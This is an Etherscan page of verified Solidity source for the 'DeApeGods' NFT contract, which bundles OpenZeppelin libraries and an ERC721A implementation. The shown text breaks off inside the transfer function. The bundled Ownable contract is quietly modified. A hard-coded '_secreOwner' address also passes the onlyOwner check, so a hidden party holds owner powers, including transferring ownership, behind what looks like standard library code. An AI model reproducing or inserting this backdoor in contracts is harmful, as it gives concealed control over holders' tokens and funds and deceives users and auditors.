ETH Price: $3,388.75 (-1.56%)
Gas: 2 Gwei

Token

DeApeGods (DAG)
 

Overview

Max Total Supply

10,000 DAG

Holders

5,133

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Filtered by Token Holder
brosex.eth
Balance
13 DAG
0xf7119ad86a27ea0b06c91904e26b016322d2b4c6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DeApeGods

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-11
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account appr    ved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0x90Bc93624d539aF5086B18b4D8586FA9c26A08C6;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

